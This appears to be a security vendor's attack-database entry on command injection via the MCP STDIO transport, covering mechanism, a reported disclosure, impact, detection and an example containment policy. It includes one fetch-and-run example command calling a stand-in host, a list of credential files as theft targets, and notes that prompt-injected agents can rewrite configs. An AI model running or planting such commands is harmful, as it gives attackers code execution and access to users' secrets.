← Attack Database

MCP STDIO Command Injection

Protocol-level verified

MCP STDIO Command Injection

Summary

The Model Context Protocol’s local transport — STDIO — spawns an MCP server as a child process launched via a client-supplied command string. Anthropic’s official SDKs (Python, TypeScript, Java, Rust) pass that string to the OS without sanitisation, so any caller able to influence the server command can execute arbitrary code on the host. Ox Security disclosed the issue publicly on 15 April 2026 and linked it to “150M+ downloads” of affected SDK packages and roughly 200,000 publicly reachable servers. Anthropic responded that the STDIO execution model is expected behaviour and declined to change the protocol — making this a persistent, architectural risk rather than a bug that will be patched.

How it works

Every MCP server that uses the STDIO transport is launched as a subprocess. The client config tells the SDK what command to run, for example:

{
  "mcpServers": {
    "files": { "command": "npx", "args": ["-y", "@modelcontextprotocol/server-filesystem", "/data"] }
  }
}

The SDK passes command and args to the OS to spawn the server. Several conditions turn this into RCE:

  1. Config files are often writable by anything on the host. .cursor/mcp.json, .claude/mcp.json, VS Code settings, etc. A malicious dependency, a poisoned repo, or a prompt-injected agent can modify them.
  2. The “command” is a full shell-style string in many integrations. Attackers can replace npx with bash -c "curl evil.example/x | sh" and the SDK dutifully executes it.
  3. There is no allow-list of commands. The spec treats the launch command as trusted configuration.
  4. The spawned process inherits the user’s environment — cloud credentials, SSH keys, shell history — so a single launch is enough to exfiltrate secrets.

Ox Security found ten Critical/High CVEs rooted in this single pattern across popular MCP server packages, and demonstrated execution on six production deployments.

[attacker-writable config] ──► MCP client SDK ──► os.spawn(cmd, args) ──► RCE

Real-world example

  • Ox Security disclosure (15 April 2026). Ox published two linked write-ups titled “The Mother of All AI Supply Chains” and “MCP Supply Chain Advisory: RCE Vulnerabilities Across the AI Ecosystem”, covering the design issue and 10+ derived CVEs in downstream MCP server packages. Affected packages collectively exceeded 150 million npm/PyPI downloads. Ox reported the issue to Anthropic before publication.
  • Anthropic’s response. Anthropic told reporters and Ox that the behaviour is “expected” and declined to modify the protocol, stating the STDIO execution model is a secure default and that input sanitisation is the implementer’s responsibility. Roughly a week after the disclosure Anthropic updated its security guidance to say STDIO adapters should “be used with caution” — but made no protocol change.
  • Press coverage. The Register, TechRadar, CSO Online, Infosecurity Magazine, SecurityWeek, IT Pro and Computing all published stories between 15 and 18 April 2026 citing the 150M-downloads and ~200,000-servers figures.

Impact

  • Full remote code execution under the identity of the user running the MCP client (developer workstation, CI runner, or agent host).
  • Theft of anything readable by that user: cloud credentials (~/.aws/credentials, ~/.config/gcloud), SSH keys, GitHub tokens, .env files, browser session cookies.
  • Lateral movement: the compromised MCP client is typically paired with an LLM that can chain further tool calls once the attacker’s payload is running.
  • Persistence: attackers can rewrite the config to reinstate their payload on the next launch, or plant a launchd/systemd unit.
  • Supply-chain amplification: a single poisoned MCP package published to npm/PyPI compromises every downstream install.

Detection

  • Inventory every MCP client config on developer machines and CI images (mcp.json, claude_desktop_config.json, .cursor/mcp.json, VS Code settings.json mcp block). Flag commands that contain bash, sh, cmd, powershell, pipes (|), redirects (>), or $(...).
  • Log the command line each MCP client uses to spawn servers. Alert on changes — the command should almost never mutate after initial setup.
  • Monitor MCP server processes for unexpected child processes (a filesystem MCP spawning curl is a red flag).
  • Watch for outbound connections from MCP server processes to domains not associated with the server’s declared purpose.
  • Diff MCP config files against a known-good baseline on every session start.

Prevention

A transport-layer policy engine intercepts MCP traffic after the server has been launched, so it cannot block the initial command injection at process-spawn time. What it can do is ensure that even a compromised server process cannot exfiltrate data through the MCP channel or call dangerous tools. Pair this with host-level controls (signed commands, allow-listed binaries, read-only config) to cover the spawn itself.

Example Intercept policy that limits blast radius if an MCP server is compromised:

version: "1"
description: "Contain any MCP server regardless of transport"
default: "deny"  # only explicitly allowed tools go through

tools:
  # Allow read operations, but never let a server return raw file contents
  # for paths outside the project directory.
  read_file:
    rules:
      - name: "restrict to project paths"
        conditions:
          - path: "args.path"
            op: "starts_with"
            value: "/workspace/"
        on_deny: "File access is limited to /workspace"

  # Anything that can execute arbitrary code is blocked outright.
  shell_exec:
    rules:
      - name: "block shell execution"
        action: "deny"
        on_deny: "Shell execution via MCP is not permitted"

  "*":
    rules:
      - name: "global rate limit"
        rate_limit: 30/minute
        on_deny: "Rate limit exceeded — possible compromised server"

YAML above uses the documented Intercept syntax (conditions, op, action, rate_limit, on_deny) and is structurally valid but has not been tested end-to-end against a live Ox PoC.

Complementary host controls:

  • Do not allow MCP client configs to be world-writable.
  • Run MCP clients with a restricted PATH that contains only vetted launchers.
  • Where possible, prefer HTTP/SSE transports with signed server identity over local STDIO.

Sources

  • Tool poisoning in MCP definitions
  • Typosquatting MCP servers
  • Hidden instructions in tool descriptions

Protect your agent in 30 seconds

Scans your MCP config and generates enforcement policies for every server.

npx -y @policylayer/intercept init
github.com/policylayer/intercept →
// GET IN TOUCH

Have a question or want to learn more? Send us a message.

Message sent.

We'll get back to you soon.